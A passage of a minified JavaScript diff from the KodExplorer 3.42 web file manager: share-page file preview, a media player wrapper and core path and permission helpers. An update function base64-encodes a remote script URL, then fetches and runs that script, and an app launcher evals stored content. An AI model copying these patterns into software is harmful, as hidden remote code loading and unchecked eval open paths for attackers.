0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}),define("app/src/share_index/fileShow",["../../common/myPlayer"],function(e){var t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,i="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(t=t.replace("index.php?","index.php/"));var a=function(){if(G.share_info!==void 0){var e=core.pathExt(G.share_info.path);G.path=htmlDecode(G.path),G.share_info.path=htmlDecode(G.share_info.path),"file"!=G.share_info.type&&(i+="&path="+urlEncode(G.path),t+="&path="+G.path),"1"==G.share_info.not_download&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),c(e)}else $(".share_info").addClass("hidden")},n=function(){var e=core.pathExt(G.share_info.path),i=$(".bindary_box");i.removeClass("hidden"),i.find(".name").html(htmlEncode(G.share_info.name)),i.find(".ico").html(core.icon(e)),i.find(".btn_download").attr("href",t);var a=date("Y/m/d h:i",G.share_info.mtime);i.find(".share_time").html(a),i.find(".size span").html(G.share_info.size),$("body").addClass("can_select")},o=function(e){for(var t=[],i=0;e.length>i;i++)t[i]=e.charCodeAt(i).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},s=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist"),t=ace.require("ace/lib/net");t.loadScript.hook("loadScript",t,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments}),$.get(i,function(t){var i=e.getModeForPath(G.share_info.path).mode,a='
        '+o(t)+"
        ";$(".content_box").addClass("show_code").append(a);var n=ace.edit("ace_text_show");n.setTheme("ace/theme/tomorrow"),n.setReadOnly(!0),n.setShowPrintMargin(!1),n.getSession().setMode(i),n.getSession().setTabSize(4),n.getSession().setUseWrapMode(1),n.setFontSize(15)})},r=function(){e.async("lib/markdown/markdown-it.min",function(){var t=window.markdownit({html:!0,breaks:!0});$.get(i,function(i){var a=t.render(i),n=$(".content_box");n.addClass("markdown_preview can_select").append(a),n.find("a").attr("target","_blank");var o="

        [TOC]

        ";if(-1!=n.html().indexOf(o)){var s=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
      • '+$(this).text()+"
      • "}),t="
          "+t+"
        "},r=s(n),a=n.html();a=a.replace(o,r),a=a.replace(/ data-link="#(.*?)">/g,'>'),n.html(a)}e.async("lib/markdown/highlight.min",function(){$(".content_box").find("pre code").each(function(e,t){$(this).removeAttr("class"),hljs.highlightBlock(t)})}),e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(n[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),n.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='
        '+e+"
        ",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof callback&&callback()})})})},l=function(){var t=G.app_host+i,a=e("../../common/myPlayer");a.play([{url:t,name:G.share_info.name,ext:core.pathExt(G.share_info.path)}])},c=function(e){if("md"==e)return r(),void 0;if("swf"==e){var t=core.createFlash(htmlEncode(i),"");return $(".content_box").addClass("show_swf").append(t),void 0}if(inArray(core.filetype.image,e)){var t='';return $(".content_box").addClass("show_image").append(t),void 0}if(inArray(core.filetype.movie,e)||inArray(core.filetype.music,e))return l(),void 0;if(inArray(core.filetype.doc,e)||"pdf"==e){var a=G.share_info.path;"file"!=G.share_info.type&&(a=G.path);var o=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+a,t='';return $(".frame-main").addClass("office_page").append(t),$(".content_box").addClass("hidden"),void 0}return inArray(core.filetype.text,e)?(s(),void 0):(n(),void 0)};return{init:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a) -}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/share_index/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../share_common/topbar","./fileShow","../../common/myPlayer"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),topbar=e("../../share_common/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=window.location.href+"&password="+$(".form-control").val();$.get(e,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share_login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),t='
        '+t+"
        ",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
